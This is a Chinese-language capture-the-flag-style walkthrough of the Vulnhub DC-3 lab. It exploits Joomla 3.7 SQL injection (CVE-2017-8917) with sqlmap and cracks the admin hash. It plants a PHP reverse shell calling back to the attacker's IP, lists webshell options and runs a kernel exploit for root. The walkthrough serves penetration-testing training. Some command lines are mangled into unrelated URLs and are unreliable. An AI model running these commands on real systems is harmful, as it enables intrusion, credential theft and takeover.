Vulnhub靶机渗透测试之DC-3-Joomla
Joomla
Joomla是什么?
Joomla是一套全球知名的内容管理系统,它是使用php语言+MySQL数据库所开发的软件系统。可以在Linux、 Windows、Macosx等各种不同的平台上执行。常用于搭建商业网站、个人博客、信息管理系统、Web 服务等,但是最适合是用来做电子商务的网站。还可以进行二次开发以扩展使用范围。 功能包含可提高性能的页面缓存、RSS馈送、页面的可打印版本、新闻摘要、博客、投票、网站搜索、与语言国际化。
特点
1、先进的网站技术的运用
2、庞大的附加套件及商机
3、简单丰富的操作接口
4、高度客制和开发弹性
5、内核集成完善的SEO友好机制
6、超过70多种国家语言支持
环境搭建
(为了方便,两台机器我都设置为桥接模式)
攻击机:192.168.0.114
靶机:192.168.0.106
靶机下载地址:https://www.vulnhub.com/entry/dc-32,312/
目标:/root目录下的flag(一个)
可能会遇到的错误:
IDE 设备(磁盘/CD-ROM)配置不正确。“ide1:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide1:1”移到“ide1:0”。
是因为把光驱给删除了,就会一直报这个错!
解决方法:
选择具体的虚拟机,点击 “虚拟机”->“设置”->“CD/DVD(IDE)" ->”高级“,将要启动设备设置到 IDE 0:0 上就可以了。
信息收集
nmap扫描,得到靶机的ip,开放了80端口,可以访问nhttp服务,而且还扫描出了网站的后台是Joomla的cms系统。
访问http服务,提示靶场中只有一个flag,但是要得到root权限才可以。
因为是joomla的cms系统,所以可以用扫描工具joomscan来探测信息
joomscan工具安装:
git clone https://github.com/rezasp/joomscan.git
cd joomscan
使用:
perl joomscan.pl --url 具体的url
还可以使用nmap来探测
扫描出joomla的版本为3.7,存在有一个cve-2017-8917的漏洞(利用该漏洞攻击者可以在未授权的情况下进行SQL注入攻击)
可以使用searchsploit来查找对应版本有一个sql注入
searchsploit Joomla 3.7.0
漏洞利用
SQL注入漏洞利用的poc:
爆数据库名
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" ?--dbs --batch
爆表名,发现有张#_users表
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" ?-D joomladb --tables --batch
爆字段,无法获取字段名
那就尝试去猜解字段名,得到账户和密码密文
sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" ?-D joomladb -T "#__users" -C name,password --dump --batch
把爆出来的hash值放在一个新建的hash.txt文件中,然后使用john来获取明文密码为:snoopy
john? hash.txt
登录后台
访问我们信息收集到的网站的后台:http://ip:port/administrator
我的为:http:192.168.0.106:80/administrator? ?成功登录
getshell
在Templates模版设置中,可以编辑这些php文件,然后从外部访问。
在任意一个php文件中插入木马都可以
方式1:直接插入反弹shell的语句
在模版中添加反弹php的shell的语句,然后监听就可以
<?php system("bash -c 'bash -i >& /dev/tcp/kali的ip/4444 0>&1' "); ?>
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.0.114/4444 0>&1' "); ?>
在kali中设置好监听窗口,然后在浏览器访问:192.168.0.106/templates/beez3/error.php,反弹shell
方式2、直接插入一句话木马
直接插入php一句话木马,使用蚁剑连接成功
方式3、插入冰蝎的木马
冰蝎默认的php木马
成功getshell
方式4、msfvenom生成一个反弹shell
用msfvenom生成一个shell,然后将其复制到网站的php文件中,在设置监听,就可以getshell了
还可以上传其他的webshell
提权
可以不是root权限
执行uname -a查看内核版本,靶场环境系统为ubuntu 16.04
使用searchsploit查看Ubuntu 16.04存在的漏洞
查看漏洞介绍
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
介绍中给出了exp的地址:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
下载exp,使用刚才的蚁剑获得的权限将其上传
解压运行,成功提权
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
https://www.freebuf.com/articles/web/compile.sh
https://www.freebuf.com/articles/web/doubleput
查看flag
知识点总结
1、可以了解一下Joomla
2、joomscan扫描工具的使用
3、cve-2017-8917漏洞的利用
4、利用linux的内核漏洞进行提权